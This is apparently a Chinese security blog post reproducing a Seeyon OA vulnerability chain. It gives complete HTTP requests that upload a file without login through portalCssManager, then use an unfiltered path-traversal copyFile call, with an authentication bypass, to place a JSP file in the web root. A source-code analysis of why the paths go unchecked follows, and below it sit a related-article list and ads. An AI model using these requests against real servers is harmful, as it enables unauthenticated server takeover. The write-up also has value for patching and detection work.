致远CopyFile文件复制漏洞

致远OA文件上传漏洞(含批量检测POC) 由于致远OA旧版本某些接口存在未授权访问,以及部分函数存在过滤不足,攻击者通过构造恶意请求,可在无需登录的情况下上传恶意脚本文件,从而控制服务器。致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3。致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3。致远OA G6、G6N (V8.1、V8.1SP1)。致远OA V6.0、V6.1SP1、V6.1SP2。致远OA V7.1、V7.1SP1。 阅读详情

复现版本

V8.0SP2

漏洞范围

V5&G6_V6.1至V8.0SP2全系列版本、V5&G6&N_V8.1至V8.1SP2全系列版本。

漏洞复现

上传文件

POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=57507 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 65
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=B8961FAF38CCE07F84676274A672CA37; hostname=192.168.1.7:80; loginPageURL=; login_locale=zh_CN

arguments=%5B%22aaaaa%22%5D&managerMethod=generateCssFileByCssStr

在这里插入图片描述
这里结合权限绕过漏洞
在这里插入图片描述
也可成功上传

文件复制

POST /seeyon/ajax.do;Jsessionid=a?method=ajaxAction&managerName=cipSynSchemeManager&rnd=29981 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 130
Host: 192.168.1.7
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)

arguments=["../../../../resources/portal/css/963501343453105872","../../ApacheJetspeed/webapps/ROOT/2.jsp"]&managerMethod=copyFile

在这里插入图片描述
然后访问

http://192.168.1.7/sectestdssd.jsp

在这里插入图片描述

漏洞分析

整体利用思路先随便上传一个正常后缀文件, 且知道文件上传的路径和文件名, 再将其复制到WEB路径下,那么先看下面的文件复制,需要上传的一个正常后缀文件,再找上传点
上传点
可以看到portalCssManager的bean存在,那么就可以直接用ajax.do去反射使用了
在这里插入图片描述
首先直接找方法名generateCssFileByCssStr在这里插入图片描述
跟入compileString在这里插入图片描述
总体来说,这个方法接收一个SCSS字符串作为输入,将其编译为CSS字符串,并返回编译后的结果。
回到主方法,进入saveFileToUpload方法在这里插入图片描述
在这里插入图片描述
这段上传文件,根据传入的fileTypeEnum来获得门户资源文件夹的根目录,如果不存在就创建,那么这里fileTypeEnum为css,那么就是A8\base\resources\portal\css\目录
那么整体看就是在该目录创建css文件
在这里插入图片描述
也就是首先用时间创建目录,该时间目录下创建destFile,然后copyFile进行复制,但是这里copyFile和我们下面分析的还不一样,那么接下来分析copyFile怎么进行的复制

copyfile分析
cipSynSchemeManager也有bean,那么也可以调用copyFile方法
在这里插入图片描述
这里传入的source和target并未做过滤,从代码逻辑看,对应源文件和目标文件,并且如下在这里插入图片描述
源文件和目标文件都进行了拼接,那么就都可以进行跨目录操作,但是注意这里多了判断,如果目标文件存在,就不会复制生成了,那么每次操作都换个目标文件名就可以

总结
新的文件上传方式,先上传正常后缀文件,在进行copy

2023 致远OA-任意用户密码重置漏洞 致远OA 短信验证码绕过重置密码漏洞 阅读详情

相关推荐

CopyFile 使用方法

CopyFile复制文件 BOOL CopyFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists ); 返回值说明: 调用成功,返回非零值 调用失败,返回零值,并且设置GetLastError() 参数说明: 1.LPCSTR lsExiststringFilename 将要拷贝的文件名 2.LPCSTR lpNewFilename 新的目标文件名 3.BOOL bFailIfExists 有两种情况 如果设

我不是码农的博客~~~ 6134

C/C++中使用CopyFile、CopyFileEx原理、用法、区别及分别在哪些场景使用

在Windows系统编程中,CopyFile和CopyFileEx是用于文件复制的两个API函数。

学无止尽,谨言慎行! 3121

机械臂速成小指南(八):标准DH法实战——从连杆坐标系到运动学方程

本文详细介绍了机械臂运动学建模中的标准DH法,从连杆坐标系的建立到运动学方程的求解,提供了实用的操作步骤和代码示例。通过DH参数表和变换矩阵的构建,帮助读者快速掌握机械臂运动学建模的核心技术,并解决实际应用中的常见问题。

oo7890的博客 200

(copyfile)复制粘贴文件的三种方式

一:复制粘贴(从一个文本文件或其他,粘贴到另一个文件上) 二:file的操作 :File file=new File(“文件的位置”); line :bufferreader char: filereader byte: fileinputstream 1:byte /* 这是一个可以传所有类型的的复制粘贴的方式,通过字节流 */ public class CopyFileStream ...

m0_37121708的博客 9005

ERA5数据批量下载

ERA5再分析数据的IDM接管下载

qq_38734327的博客 3022

Mmdetection用自己的数据集训练Mask_RCNN

将自己数据的标签写入配置文件,在data前一行添加自己的标签列表,同时在train,val,test中添加classes = classes,如果不添加,模型就会默认读取coco原始数据集的80个标签,与自己的数据集对应不上就会报错。2.打开第二个文件coco_instance.py,将data_root路径改为你自己coco数据集的位置(注意一定要以/结尾),修改输出图片尺寸(根据自己的数据集决定)3.将标注完的数据转为Mask_rcnn训练所需的数据集格式。4.将数据集放到训练代码文件夹中。

m0_64298393的博客 3458

文件复制漏洞深度剖析:从目录遍历到RCE的攻防实战

文件操作是Web应用中的基础功能,其核心原理涉及用户输入与文件系统路径的交互。当系统未对用户提供的文件路径参数进行严格校验时,便可能产生目录遍历(Path Traversal)漏洞,攻击者可借此越权访问或操作服务器上的任意文件。这类漏洞的技术价值在于,它往往能将低权限的访问点转化为高风险的攻击入口,是渗透测试中获取服务器控制权的关键跳板。其典型应用场景广泛存在于各类企业级应用(如OA、ERP、CRM)的后台管理模块,例如文件管理、文档备份等功能。本文以某OA系统的文件复制功能为具体案例,深入拆解攻击者如何利

weixin_33912246的博客 408

【OpenClaw企业级智能体实战】第10篇:医疗行业OpenClaw实战:病历自动书写、医保智能审核与患者随访管理(附HIPAA合规配置+完整代码)

医疗行业正面临“效率提升需求”与“合规监管红线”的双重矛盾:病历书写占据医生30%-50%工作时间,医保审核效率低下,患者随访工作量巨大,但医疗数据“不出域”“责任不转移”的要求又限制了AI落地。本文基于华为云、腾讯云安全规范及中关村科金、复旦大学附属中山医院等真实实践,拆解OpenClaw在医疗场景的五大核心应用(病历自动书写、医保智能审核、患者随访管理、科研文献综述、医学影像预处理),提供私有化部署架构、HIPAA合规配置模板、完整实操流程及可直接运行的代码。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 421

Copy、CopyFile、FileCopy的用法

API函数copyfile。1、Copy 方法 描述 把一个指定的文件或文件夹从一个地方复制到另一个地方。 语法 object.Copy destination[, overwrite] Copy 方法语法有如下几部分: 部分 描述 object 必需的。始终是一个 File 或 Folder 对象的名字。 destination 必需

qcx1221的博客 3万+

YOLO26涨点改进| CVPR 2026 | 独家创新首发、特征融合改进篇 | 引入 LFSB 差分双维注意融合模块,通过交替特征融合与分离策略,能够精准区分目标特征,顶会助力YOLO26有效涨点

本文提出LSFB差分双维注意融合模块,用于改进YOLO26目标检测模型。该模块通过融合-分离交替策略和差分注意力机制,有效提升模型在复杂场景下的特征分离能力,特别是在处理重叠物体或反射干扰时表现优异。LSFB采用双向投影、双维注意力计算和跨流减法算子,实现特征共享与独立提取的平衡。实验表明,该模块能显著减少特征混淆,提高检测精度和鲁棒性。文章还详细介绍了模块实现的核心代码、YAML配置文件修改方法以及三种改进方案,为YOLO26模型性能提升提供了创新解决方案。

Ai缝合怪、助力小伙伴高效发论文 316

华为OD机试 - 物流仓储多维度成本利润综合查询系统 - 二维数组(Python/JS/C/C++ 新系统 100分)

本专栏收录于《华为OD机试真题(Python/JS/C/C++)》。刷的越多,抽中的概率越大,私信哪吒,备注华为OD,加入华为OD刷题交流群,每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景,发现新题目,随时更新。某物流企业在全国多个仓库开展仓储业务,需要对不同仓库、不同时段的入库成本、出库收入和库存损耗进行综合统计分析,用于生成 日报、周报和月报。字段说明及取值范围如下:warehouses: int[] 扁平化数组 [w0d0in, w0d0out,

学Java,找哪吒 295

CopyFile()的使用方法

1.设置工程默认的UNICODE字符集为Not Set,编写代码如下 2.运行代码,生成目标文件(注意只能点击运行代码的时候生成,而不是编译)

qq_34437757的博客 3433

第42章:AI代码生成的质量标准——何时用AI、何时自己写

> - AI代码生成的质量分级标准:可用、稳定、安全、优雅 > - 一个决策矩阵:什么场景适合用AI,什么场景必须人工编写 > - 如何评估AI生成的代码质量(复杂度、可读性、安全性) > - 实战对比:同一需求下AI生成代码 vs 人工编写代码 > - 团队落地:将质量标准集成到Code Review和CI流程 > - 我如何将团队AI代码接受率从70%提升到90%

sfishfly的博客 156

CopyFile使用方法之我见

CopyFile(A,B,FALSE); 将A路径文件拷贝到B路径文件,FALSE表示A拷贝到B,若B存在,则将B覆盖,函数返回TRUE; CopyFile(A,B,TRUE); 将A路径文件拷贝到B路径文件,TRUE表示A拷贝到B,若B存在,则不拷贝,函数返回FALSE;若B不存在,则继续拷贝,函数返回TRUE。 ...

Hat_man_的博客 1375

锂电池寿命预测 | Pytorch实现基于Transformer 的锂电池寿命预测(NASA数据集)

锂电池寿命预测 | Pytorch实现基于Transformer 的锂电池寿命预测(NASA数据集)

算法如诗的博客 5567

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

CopyFile 函数详解

CopyFile函数,文件拷贝函数,结构如下: copyfile( lpcstr lpexistingfilename, //源文件路径 lpcstr lpnewfilename, //新文件路径 bool...

dilan4292的博客 2004

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

Boom!脑洞大爆炸的博客 6009

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

WuThreat身份安全云-TVD每日漏洞情报-2023-08-09

参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?漏洞编号:CVE-2023-37498,CNNVD-202308-258。

wuthreat无胁科技的博客 1159

hdfs shell的基本操作和hdfsWeb查看文件

hdfs shell, hdfsWebhdfs基本操作查询命令创建新的空文件创建文件增加文件查看文件内容复制文件删除文件或文件夹重命名将源目录下的所有文件排序合并到一个本地文件 hdfs基本操作 查询命令 $ hadoop dfs -ls / 查询 / 目录下的所有文件和文件夹 $ hadoop dfs -ls -R 以递归的方式 创建新的空文件 hdfs dfs -mkdir /t...

wendaocp的博客 956

致远OA wpsAssistServlet 任意文件上传漏洞

致远OA互联新一代智慧型协同运营平台以中台的架构和技术、协同、业务、连接、数据的专 业能力,夯实协同运营中台的落地效果;以移动化、AI智能推进前台的应用创新,实现企业轻量化、智能化业务场景,促进企业全过程管理能效,赋予企业协同工作和运营管理的新体验。

故事讲予风听 1459

致远OA漏洞复现

近段时间,Log4j2比较热,像极了XSS到处插,插完,dnslog就可能会给你满意的答案,有的安全人员已经整出了burp Log4j2的插件,想必小伙伴们都用过了,也是相当巴适。在这个热度居高不下的情况下,有人发现了致远OA也存在该漏洞,抱着试试的想法,尝试了下,真香。趁着Log4j2的机会,就把致远OA的历史漏洞复现一下,并写了批量url检测是否存在以下漏洞(https://github.com/Xd-tl/Seeyon_POC)

混子 5万+

用CopyFile复制文件

BOOL CopyFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists ); 说明     Long,非零表示成功,零表示失败。    参数类型及说明 :   lpExistingFileName String:输入参数,已经存在的所需复制文件的源路径。   lpNewFileName St

mail_cm的专栏 8784

【漏洞复现】QVD-2023-21704致远oa前台密码修改

QVD-2023-21704致远oa前台密码修改

qq_34914659的博客 5375

分享一个copyfile使用时遇到的问题及解决方案

笔者近日在一个C++项目中使用win32中的copyfile函数试图复制若干jpg图片资源,遇到有一张大图只复制到一小部分内容,后来再尝试复制另外一张大图,同样只有一部分。        不经意间看到复制到两个图的大小刚好都是10M,难道copyfile一次只能复制10M内容?多次试验,果然是,具体原因不明。        不得已,换以使用运行一个批处理文件的进程来进行复制操作。

游空工作室 2672

致远OA A8 漏洞综合工具

致远OA A8 漏洞综合工具 v1.0,支持批量一件扫描。

qq_44029310的博客 2482
上一篇: 钓鱼网站制作-克隆163企业邮箱
下一篇: 致远漏洞(登陆绕过+任意文件上传)
qieziwa(boy)
博客等级 码龄7年 5703粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值